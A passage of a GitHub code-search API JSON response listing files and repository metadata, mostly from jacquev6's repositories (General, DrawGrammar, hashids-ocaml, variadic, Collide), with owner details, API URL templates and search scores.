","issue_events_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/issues/events{/number}","events_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/events","assignees_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/assignees{/user}","branches_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/branches{/branch}","tags_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/tags","blobs_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/refs{/sha}","trees_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/trees{/sha}","statuses_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/statuses/{sha}","languages_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/languages","stargazers_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/stargazers","contributors_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/contributors","subscribers_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/subscribers","subscription_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/subscription","commits_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/commits{/sha}","git_commits_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/commits{/sha}","comments_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/comments{/number}","issue_comment_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/issues/comments{/number}","contents_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/contents/{+path}","compare_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/compare/{base}...{head}","merges_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/merges","archive_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/downloads","issues_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/issues{/number}","pulls_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/pulls{/number}","milestones_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/milestones{/number}","notifications_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/labels{/name}","releases_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/releases{/id}","deployments_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/deployments"},"score":33.06297},{"name":"index.html","path":"docs/index.html","sha":"4415dc6ba5c3775ac989c9be03f2df2f9bd9590e","url":"https://api.github.com/repositories/100627412/contents/docs/index.html?ref=0a80a726d3b09f945e8e601511dd18f1f3ef0162","git_url":"https://api.github.com/repositories/100627412/git/blobs/4415dc6ba5c3775ac989c9be03f2df2f9bd9590e","html_url":"https://github.com/jacquev6/General/blob/0a80a726d3b09f945e8e601511dd18f1f3ef0162/docs/index.html","repository":{"id":100627412,"node_id":"MDEwOlJlcG9zaXRvcnkxMDA2Mjc0MTI=","name":"General","full_name":"jacquev6/General","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/General","description":"Rich functionality for built-in and basic OCaml types","fork":false,"url":"https://api.github.com/repos/jacquev6/General","forks_url":"https://api.github.com/repos/jacquev6/General/forks","keys_url":"https://api.github.com/repos/jacquev6/General/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/General/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/General/teams","hooks_url":"https://api.github.com/repos/jacquev6/General/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/General/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/General/events","assignees_url":"https://api.github.com/repos/jacquev6/General/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/General/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/General/tags","blobs_url":"https://api.github.com/repos/jacquev6/General/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/General/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/General/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/General/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/General/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/General/languages","stargazers_url":"https://api.github.com/repos/jacquev6/General/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/General/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/General/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/General/subscription","commits_url":"https://api.github.com/repos/jacquev6/General/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/General/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/General/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/General/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/General/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/General/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/General/merges","archive_url":"https://api.github.com/repos/jacquev6/General/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/General/downloads","issues_url":"https://api.github.com/repos/jacquev6/General/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/General/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/General/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/General/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/General/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/General/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/General/deployments"},"score":32.996586},{"name":"README.rst","path":"README.rst","sha":"5382af697213120faa4639d3d4f1721dbac231c5","url":"https://api.github.com/repositories/97625819/contents/README.rst?ref=e14fbb79b74f9d1c7390300772a7e769afc7aad2","git_url":"https://api.github.com/repositories/97625819/git/blobs/5382af697213120faa4639d3d4f1721dbac231c5","html_url":"https://github.com/jacquev6/DrawGrammar/blob/e14fbb79b74f9d1c7390300772a7e769afc7aad2/README.rst","repository":{"id":97625819,"node_id":"MDEwOlJlcG9zaXRvcnk5NzYyNTgxOQ==","name":"DrawGrammar","full_name":"jacquev6/DrawGrammar","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/DrawGrammar","description":"Draw railroad diagrams of EBNF grammars. In browser and on command line","fork":false,"url":"https://api.github.com/repos/jacquev6/DrawGrammar","forks_url":"https://api.github.com/repos/jacquev6/DrawGrammar/forks","keys_url":"https://api.github.com/repos/jacquev6/DrawGrammar/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/DrawGrammar/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/DrawGrammar/teams","hooks_url":"https://api.github.com/repos/jacquev6/DrawGrammar/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/DrawGrammar/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/DrawGrammar/events","assignees_url":"https://api.github.com/repos/jacquev6/DrawGrammar/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/DrawGrammar/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/DrawGrammar/tags","blobs_url":"https://api.github.com/repos/jacquev6/DrawGrammar/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/DrawGrammar/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/DrawGrammar/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/DrawGrammar/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/DrawGrammar/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/DrawGrammar/languages","stargazers_url":"https://api.github.com/repos/jacquev6/DrawGrammar/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/DrawGrammar/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/DrawGrammar/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/DrawGrammar/subscription","commits_url":"https://api.github.com/repos/jacquev6/DrawGrammar/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/DrawGrammar/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/DrawGrammar/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/DrawGrammar/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/DrawGrammar/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/DrawGrammar/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/DrawGrammar/merges","archive_url":"https://api.github.com/repos/jacquev6/DrawGrammar/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/DrawGrammar/downloads","issues_url":"https://api.github.com/repos/jacquev6/DrawGrammar/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/DrawGrammar/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/DrawGrammar/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/DrawGrammar/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/DrawGrammar/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/DrawGrammar/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/DrawGrammar/deployments"},"score":32.596573},{"name":"ribbon.1.css","path":"ribbon.1.css","sha":"e3673f9170dadfa67b8144152ed6012c999e9941","url":"https://api.github.com/repositories/24086133/contents/ribbon.1.css?ref=aaf4309184020eb13ed9738f4f691bb39d1f8afd","git_url":"https://api.github.com/repositories/24086133/git/blobs/e3673f9170dadfa67b8144152ed6012c999e9941","html_url":"https://github.com/jacquev6/jacquev6.github.io/blob/aaf4309184020eb13ed9738f4f691bb39d1f8afd/ribbon.1.css","repository":{"id":24086133,"node_id":"MDEwOlJlcG9zaXRvcnkyNDA4NjEzMw==","name":"jacquev6.github.io","full_name":"jacquev6/jacquev6.github.io","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/jacquev6.github.io","description":null,"fork":false,"url":"https://api.github.com/repos/jacquev6/jacquev6.github.io","forks_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/forks","keys_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/teams","hooks_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/events","assignees_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/tags","blobs_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/languages","stargazers_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/subscription","commits_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/merges","archive_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/downloads","issues_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/deployments"},"score":32.583553},{"name":"ribbon.css","path":"ribbon.css","sha":"18e5ed94a88d9422320617f6df4e6aa6b4b675dc","url":"https://api.github.com/repositories/24086133/contents/ribbon.css?ref=aaf4309184020eb13ed9738f4f691bb39d1f8afd","git_url":"https://api.github.com/repositories/24086133/git/blobs/18e5ed94a88d9422320617f6df4e6aa6b4b675dc","html_url":"https://github.com/jacquev6/jacquev6.github.io/blob/aaf4309184020eb13ed9738f4f691bb39d1f8afd/ribbon.css","repository":{"id":24086133,"node_id":"MDEwOlJlcG9zaXRvcnkyNDA4NjEzMw==","name":"jacquev6.github.io","full_name":"jacquev6/jacquev6.github.io","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/jacquev6.github.io","description":null,"fork":false,"url":"https://api.github.com/repos/jacquev6/jacquev6.github.io","forks_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/forks","keys_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/teams","hooks_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/events","assignees_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/tags","blobs_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/languages","stargazers_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/subscription","commits_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/merges","archive_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/downloads","issues_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/deployments"},"score":32.583553},{"name":"README.rst","path":"README.rst","sha":"6650b80b31440d0aff03eb9f4f0ad2f2faad178c","url":"https://api.github.com/repositories/57307104/contents/README.rst?ref=f2fa67d8836a547eb91429dc6895066cc40cc6f9","git_url":"https://api.github.com/repositories/57307104/git/blobs/6650b80b31440d0aff03eb9f4f0ad2f2faad178c","html_url":"https://github.com/jacquev6/hashids-ocaml/blob/f2fa67d8836a547eb91429dc6895066cc40cc6f9/README.rst","repository":{"id":57307104,"node_id":"MDEwOlJlcG9zaXRvcnk1NzMwNzEwNA==","name":"hashids-ocaml","full_name":"jacquev6/hashids-ocaml","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/hashids-ocaml","description":"OCaml implementation of http://hashids.org","fork":false,"url":"https://api.github.com/repos/jacquev6/hashids-ocaml","forks_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/forks","keys_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/teams","hooks_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/events","assignees_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/tags","blobs_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/languages","stargazers_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/subscription","commits_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/merges","archive_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/downloads","issues_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/deployments"},"score":32.4679},{"name":"README.rst","path":"README.rst","sha":"2fbb83da6dd20ac7f9bfc08ad842185966a90d7a","url":"https://api.github.com/repositories/34715715/contents/README.rst?ref=fee028e4066ba5b9b1506c2e079b1270a59e2653","git_url":"https://api.github.com/repositories/34715715/git/blobs/2fbb83da6dd20ac7f9bfc08ad842185966a90d7a","html_url":"https://github.com/jacquev6/variadic/blob/fee028e4066ba5b9b1506c2e079b1270a59e2653/README.rst","repository":{"id":34715715,"node_id":"MDEwOlJlcG9zaXRvcnkzNDcxNTcxNQ==","name":"variadic","full_name":"jacquev6/variadic","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/variadic","description":"Python decorator for very-variadic functions","fork":false,"url":"https://api.github.com/repos/jacquev6/variadic","forks_url":"https://api.github.com/repos/jacquev6/variadic/forks","keys_url":"https://api.github.com/repos/jacquev6/variadic/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/variadic/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/variadic/teams","hooks_url":"https://api.github.com/repos/jacquev6/variadic/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/variadic/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/variadic/events","assignees_url":"https://api.github.com/repos/jacquev6/variadic/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/variadic/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/variadic/tags","blobs_url":"https://api.github.com/repos/jacquev6/variadic/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/variadic/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/variadic/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/variadic/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/variadic/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/variadic/languages","stargazers_url":"https://api.github.com/repos/jacquev6/variadic/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/variadic/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/variadic/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/variadic/subscription","commits_url":"https://api.github.com/repos/jacquev6/variadic/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/variadic/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/variadic/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/variadic/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/variadic/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/variadic/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/variadic/merges","archive_url":"https://api.github.com/repos/jacquev6/variadic/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/variadic/downloads","issues_url":"https://api.github.com/repos/jacquev6/variadic/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/variadic/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/variadic/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/variadic/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/variadic/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/variadic/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/variadic/deployments"},"score":32.44837},{"name":"README.rst","path":"README.rst","sha":"8330d3c78089589d8e18ab32fa7a86f8d4af0d94","url":"https://api.github.com/repositories/125401887/contents/README.rst?ref=bb0c77a1b0bdb636307e591867aec1bc44d68eb4","git_url":"https://api.github.com/repositories/125401887/git/blobs/8330d3c78089589d8e18ab32fa7a86f8d4af0d94","html_url":"https://github.com/jacquev6/Collide/blob/bb0c77a1b0bdb636307e591867aec1bc44d68eb4/README.rst","repository":{"id":125401887,"node_id":"MDEwOlJlcG9zaXRvcnkxMjU0MDE4ODc=","name":"Collide","full_name":"jacquev6/Collide","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"htt